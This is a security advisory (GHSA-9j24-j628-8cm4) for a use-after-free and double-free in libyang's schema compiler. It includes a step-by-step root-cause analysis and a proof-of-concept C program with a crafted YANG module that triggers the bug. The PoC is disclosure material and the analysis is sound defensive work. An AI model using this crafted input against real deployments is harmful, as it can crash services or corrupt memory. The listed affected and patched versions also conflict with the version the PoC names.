Skip to content

Heap use-after-free in schema compiler

Critical
michalvasko published GHSA-9j24-j628-8cm4 Mar 26, 2026

Package

No package listed

Affected versions

5.0.6

Patched versions

SO 5.2.6

Description

Summary

A use-after-free (and subsequent double-free) vulnerability in libyang's schema compiler allows an attacker who can supply a crafted YANG module to crash the parser or potentially execute arbitrary code. Parsing a module containing a union typedef with a leafref member and an out-of-range default value causes the compiled default's storage to be freed twice: once inside the union type plugin's error path, then again by the caller.

Details

The bug is a lifecycle mismatch between lyplg_type_store_union() (in src/plugins_types/union.c) and its caller lys_compile_unres_dflt() (in src/schema_compile.c). Both functions attempt to free the same lyd_value storage on error, but the caller also dereferences it after it has already been freed.

Step-by-step call chain:

  1. During schema compilation, lys_compile_unres_dflt() (schema_compile.c:899) calls the union type plugin's store callback to validate the default value "999" against the union type.

  2. lyplg_type_store_union() (union.c:464) allocates a lyd_value_union subvalue via LYPLG_TYPE_VAL_INLINE_PREPARE(). Because sizeof(struct lyd_value_union) (~88 bytes) exceeds LYD_VALUE_FIXED_MEM_SIZE (24 bytes), the subvalue is heap-allocated via calloc and stored in storage->dyn_mem (which aliases storage->subvalue).

  3. union_find_type() (union.c:323) iterates through the union's member types trying to store "999":

    • leafref member → resolves to int8 → store fails (999 > 127)
    • int8 member → store fails (999 > 127)
    • All members fail; returns LY_EVALID.
  4. Back in lyplg_type_store_union() at line 519-520, the error path calls lyplg_type_free_union(ctx, storage), which:

    • Frees val->original (the stored copy of "999")
    • Calls LYPLG_TYPE_VAL_INLINE_DESTROY(val)free(val)frees the heap-allocated subvalue struct
    • Critically, does not null out storage->dyn_mem/storage->subvalue — these now dangle.
  5. Control returns to lys_compile_unres_dflt(). At the cleanup: label (schema_compile.c:937-949):

    cleanup:
        if (storage.realtype->basetype == LY_TYPE_UNION) {
            val = &storage.subvalue->value;   // ← UAF: storage.subvalue is freed memory
        }
        // ...
        type_plg->free(ctx->ctx, &storage);   // ← DOUBLE-FREE: frees already-freed subvalue again
    • Line 939: storage.subvalue is a dangling pointer (freed in step 4). Dereferencing it to read ->value is a use-after-free.
    • Line 949: type_plg->free() calls lyplg_type_free_union() a second time, which calls free() on the already-freed subvalue — a double-free.

The root cause is that lyplg_type_store_union() frees the storage internals on error (line 520), but lys_compile_unres_dflt() unconditionally accesses and re-frees them in its cleanup block (lines 938-949) without checking whether the store function already cleaned up.

PoC

Compile and run libyang_uaf1.c against libyang v4.2.2:

#include <stdio.h>
#include <stdlib.h>
#include "libyang.h"

static const char *yang_module =
    "module test {\n"
    "  namespace \"urn:test\";\n"
    "  prefix t;\n"
    "  leaf target { type int8; }\n"
    "  typedef union-leafref {\n"
    "    type union {\n"
    "      type leafref { path \"/target\"; }\n"
    "      type int8;\n"
    "    }\n"
    "  }\n"
    "  leaf test-leaf {\n"
    "    type union-leafref;\n"
    "    default \"999\";\n"
    "  }\n"
    "}\n";

int main(void) {
    struct ly_ctx *ctx = NULL;
    struct lys_module *module = NULL;
    ly_log_options(0);
    ly_ctx_new(NULL, 0, &ctx);
    lys_parse_mem(ctx, yang_module, LYS_IN_YANG, &module);
    ly_ctx_destroy(ctx);
}

YANG module:

module test {
  namespace "urn:test";
  prefix t;
  
  leaf target {
    type int8;
  }
  
  typedef union-leafref {
    type union {
      type leafref {
        path "/target";
      }
      type int8;
    }
  }
  
  leaf test-leaf {
    type union-leafref;
    default "999";
  }
}

Impact

Use-after-free / Double free can be used to hijack control flow and cause other memory corruption issues.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

No CWEs

Credits